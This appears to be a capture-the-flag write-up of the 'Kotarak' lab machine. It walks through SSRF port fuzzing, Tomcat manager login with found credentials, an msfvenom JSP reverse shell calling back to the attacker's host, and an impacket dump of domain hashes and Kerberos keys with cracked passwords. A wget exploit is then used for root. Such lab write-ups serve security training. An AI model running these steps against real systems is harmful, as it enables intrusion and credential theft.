# Kotarak

## Scanning and Enumeration

```
└─# nmap -sC -sV -p22,8009,8080 10.10.10.55 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-10 22:05 EDT
Nmap scan report for 10.10.10.55
Host is up (0.10s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
|   256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_  256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods: 
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open  http    Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT      STATE SERVICE
22/tcp    open  ssh
8009/tcp  open  ajp13
8080/tcp  open  http-proxy
60000/tcp open  unknown


```

| PORT | STATE | SERVICE | VERSION                      |
| ---- | ----- | ------- | ---------------------------- |
| 22   | Open  | SSH     | OpenSSH 7.2p2                |
| 8009 | Open  | AJP13   | Apache Jserv (Protocol v1.3) |
| 8080 | Open  | HTTP    | Apache Tomcat 8.5.5          |

## Port 6000

Checking for useragent on proxy

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_qwn90yR3EwRLOOvdd%2Fimage.png?alt=media\&token=bb2e411d-c7b8-4197-bf79-c1677fc2ae19)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_qwfk6QkzwU-xVfsga%2Fimage.png?alt=media\&token=0553749d-4d84-4024-b549-222d928ac81d)

There is none, there for we will use BurpSuite to find other information that could be of value to us.&#x20;

When we set the path to file, we get a 'try harder error message' when we set the path to the page itself we get that page by itself. Knowing this, we can use wfuzz to find internal ports.&#x20;

```
wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ 
```

![Found credential via port 888 ](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_r2d9gMENCsIGyY4I0%2Fimage.png?alt=media\&token=0a5f563e-bac9-41c5-bfa9-68eb21aba73b)

username: admin

password: 3\@g01PdhB!

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_r3VXp2pQFZKS6M-Zs%2Fimage.png?alt=media\&token=f8830277-70fe-43aa-9cb2-cbc216c83752)

Access gained, now that we have access, lets see if we can upload a shellaroo up inside this badboi.&#x20;

Using MSFVenom

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=80 -f war > bandido.war

UPLOAD SHELL, SET UP LISTENER ON PORT 80 and access that file on your browser as shown below. 
```

![Connection Established.](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_r4y3_NsLGYsJ6mtSm%2Fimage.png?alt=media\&token=76461fd7-ae57-4b80-beaa-e7029c31b85f)

Exploring Tomcat after initial access we were able to find a .dit file and a .bin file from previous pentest data.&#x20;

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_r5zCkARGgfG_F_8ka%2Fimage.png?alt=media\&token=15c299cc-5d4f-462a-8afa-20e49fe5000c)

This is useful because:

* ntds are stored on windows active directory controllers. Its what contains windows domain innformation including users and passwords.

Running file on the found files we learn that:&#x20;

*

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_r6YmdesobdOEtmdxk%2Fimage.png?alt=media\&token=22b47c9e-cfa1-4384-813b-6799a6368e6d)

the .bin file is a MS Windows registry file. We can assume this is a system hive file which contains the boot key that allows you to decrypt the .dit file. Lets transfer these files over to our KALI machine.

After you transfer the files, use impacket to to parse critical information that could be of use to us.

```
──(root💀kali)-[~/HTB/Kotavok]
└─# impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2
Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274
Administrator:des-cbc-md5:75375eda54757c2f
WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233
WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74
WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5
WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd
krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8
krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593
krbtgt:des-cbc-md5:10ef08047a862046
krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee
WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5
WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908
WIN2K8$:des-cbc-md5:d352a8d3a7a7380b
WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487
WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14
WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded
WINXP1$:des-cbc-md5:984a40d5f4a815f2
WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279
WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16
WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734
WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01
WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772
WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42
WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7
WIN7$:des-cbc-md5:89a1673723ad9180
WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c
atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
atanas:des-cbc-md5:6b80e391f113542a
```

Usernames of interest:&#x20;

* Administrator
* atanas

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_rBGCftlFUp9YiElgO%2Fimage.png?alt=media\&token=a8553d3a-d9bd-48b2-b986-3510cd1306db)

```
2b576acbe6bcfda7294d6bd18041b8fe:Password123!
31d6cfe0d16ae931b73c59d7e0c089c0:$HEX[0005170001c084]
e64fe0f24ba2489c05e64354d74ebd11:f16tomcat!
```

![Using the f16 password](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_rBjq9_ks2TWsrrZkN%2Fimage.png?alt=media\&token=f7b02928-1d9c-4b6b-a470-ae5a761b5ce1)

Looking through files we were able to find a app.log file

```
atanas@kotarak-dmz:/root$ cat app.log 
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

```

```
└─# searchsploit wget
------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ---------------------------------
feh 1.7 - '--wget-Timestamp' Remote Code Execution                      | linux/remote/34201.txt
GNU wget - Cookie Injection                                             | linux/local/44601.txt
GNU Wget 1.x - Multiple Vulnerabilities                                 | linux/remote/24813.pl
GNU Wget < 1.18 - Access List Bypass / Race Condition                   | multiple/remote/40824.py
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution
```

Looks like we have remote code exeuction for versions less than 1.18. Which is the cas here.&#x20;

![Root attained](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-M_OFpJ3ZkX_nae2zeON%2F-M_rPFGYdjKU_4FWYwj9%2Fimage.png?alt=media\&token=5aed6bac-d8bd-4e7c-b2a1-2178d8b2fd27)
